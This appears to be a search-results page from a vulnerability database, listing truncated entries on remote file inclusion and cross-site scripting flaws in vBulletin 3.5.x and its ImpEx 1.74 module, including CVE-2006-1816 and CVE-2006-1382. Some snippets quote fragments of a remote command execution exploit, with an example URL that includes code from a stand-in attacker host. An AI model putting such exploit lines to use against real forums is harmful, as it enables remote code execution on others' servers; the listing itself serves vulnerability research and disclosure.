1688 matches found
VBulletinImpEx.txt
Remote File Inclusion in VBulletin ImpEx Date : 12 / 4 / 2006 Software : VBulletin ImpEx version : VBulletin 3.5.1 VBulletin 3.5.2 VBulletin 3.5.4 The bug reside in : ImpExModule.php ImpExController.php ImpExDisplay.php Exploit : 1...
Remote file inclusion
PHP remote file inclusion vulnerability in VBulletin 3.5.1, 3.5.2, and 3.5.4 allows remote attackers to execute arbitrary code via a URL in the systempath parameter to 1 ImpExModule.php, 2 ImpExController.php, and 3 ImpExDisplay.php...
CVE-2006-1816
PHP remote file inclusion vulnerability in VBulletin 3.5.1, 3.5.2, and 3.5.4 allows remote attackers to execute arbitrary code via a URL in the systempath parameter to 1 ImpExModule.php, 2 ImpExController.php, and 3 ImpExDisplay.php...
CVE-2006-1816
PHP remote file inclusion vulnerability in VBulletin 3.5.1, 3.5.2, and 3.5.4 allows remote attackers to execute arbitrary code via a URL in the systempath parameter to 1 ImpExModule.php, 2 ImpExController.php, and 3 ImpExDisplay.php...
CVE-2006-1816
The CVE-2006-1816 entry describes a PHP remote file inclusion vulnerability in VBulletin versions 3.5.1, 3.5.2, and 3.5.4. An attacker can cause arbitrary code execution by supplying a URL via the systempath parameter to ImpExModule.php, ImpExController.php, or ImpExDisplay.php. The NVD entry lis...
vBulletin ImpEx 1.74 - Remote Command Execution
vBulletin ImpEx 1.74 - Remote Command Execution " ."turl:" ."hurl:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $turl.$hurl, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file...
vBulletin ImpEx <= 1.74 Remote Command Execution Exploit
Exploit for unknown platform in category web applications ======================================================== vBulletin ImpEx " ."turl:" ."hurl:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $turl.$hurl,...
Remote File Inclusion in VBulletin ImpEx
Remote File Inclusion in VBulletin ImpEx Date : 12 / 4 / 2006 Software : VBulletin ImpEx version : VBulletin 3.5.1 VBulletin 3.5.2 VBulletin 3.5.4 The bug reside in : ImpExModule.php ImpExController.php ImpExDisplay.php Exploit : 1...
vBulletin ImpEx <= 1.74 Remote Command Execution Exploit
No description provided by source. ?php / vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, subterrain, My gf url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/impex/ImpExData.php?systempath= hurl:http://www.pwn3d.com/evil.txt? / $cm...
vBulletin ImpEx 1.74 - Remote Command Execution
" ."turl:" ."hurl:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $turl.$hurl, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $line .= fgets $file, 1024.""; $tpos1 =...
vBulletin 3.5.1 - Vbugs.php Cross-Site Scripting
vBulletin 3.5.1 - Vbugs.php Cross-Site Scripting source: https://www.securityfocus.com/bid/17407/info vBulletin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have...
vBulletin 3.5.1 - 'Vbugs.php' Cross-Site Scripting
source: https://www.securityfocus.com/bid/17407/info vBulletin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of...
vBulletin 3.5.x vBug Tracker XSS vuln.
vBug Tracker for vBulletin 3.5.x XSS vuln. Vuln. discovered by : r0t Date: 5 april 2006 vendor:www.vbulletin.org affected versions:vBug Tracker Version 3.5.1 and previous orginal advisory: http://pridels.blogspot.com/2006/04/vbug-tracker-for-vbulletin-35x-xss.html vBug Tracker contains a flaws th...
vBulletin174.txt
======================================================================================= XOR Crew :: Security Advisory 3/22/2006 ======================================================================================= vBulletin ImpEx = 1.74 - Remote Command Execution Vulnerability...
Xss Vbulletin 3.5.x ( test: 3.5.4 )
/ ,, / / '-./.-' .--' '--. / / /"" SpiderZ ForumZ Security | | | | / / '..' = Xss Vbulletin 3.5.x test: 3.5.4 = Author: SpiderZ = Sito: www.spiderz.tk 1 -------------------------------------------------------------------- Name file: exploit.php...
New exploit by SpiderZ
Author: SpiderZ Exploit 01 phpBB 2.0.19 Topic infinitely exploit multiple topic http://spiderz.netsons.org/1.txt Exploit 02 Mini-Nuke v1.8 XSS http://spiderz.netsons.org/3.txt Exploit 03 CuteCast Version 1.2 multiple users http://spiderz.netsons.org/4.txt Exploit 04 IPB v1.x upload html .gif...
Remote file inclusion
PHP remote file inclusion vulnerability in impex/ImpExData.php in vBulletin ImpEx module 1.74, when registerglobals is disabled, allows remote attackers to include arbitrary files via the systempath parameter...
CVE-2006-1382
PHP remote file inclusion vulnerability in impex/ImpExData.php in vBulletin ImpEx module 1.74, when registerglobals is disabled, allows remote attackers to include arbitrary files via the systempath parameter...
CVE-2006-1382
PHP remote file inclusion vulnerability in impex/ImpExData.php in vBulletin ImpEx module 1.74, when registerglobals is disabled, allows remote attackers to include arbitrary files via the systempath parameter...
CVE-2006-1382
The CVE-2006-1382 issue affects the vBulletin ImpEx module 1.74. It is a PHP remote file inclusion vulnerability in ImpExData.php, exploitable via the systempath parameter when register_globals is disabled. This allows a remote attacker to include arbitrary files. The description and related sour...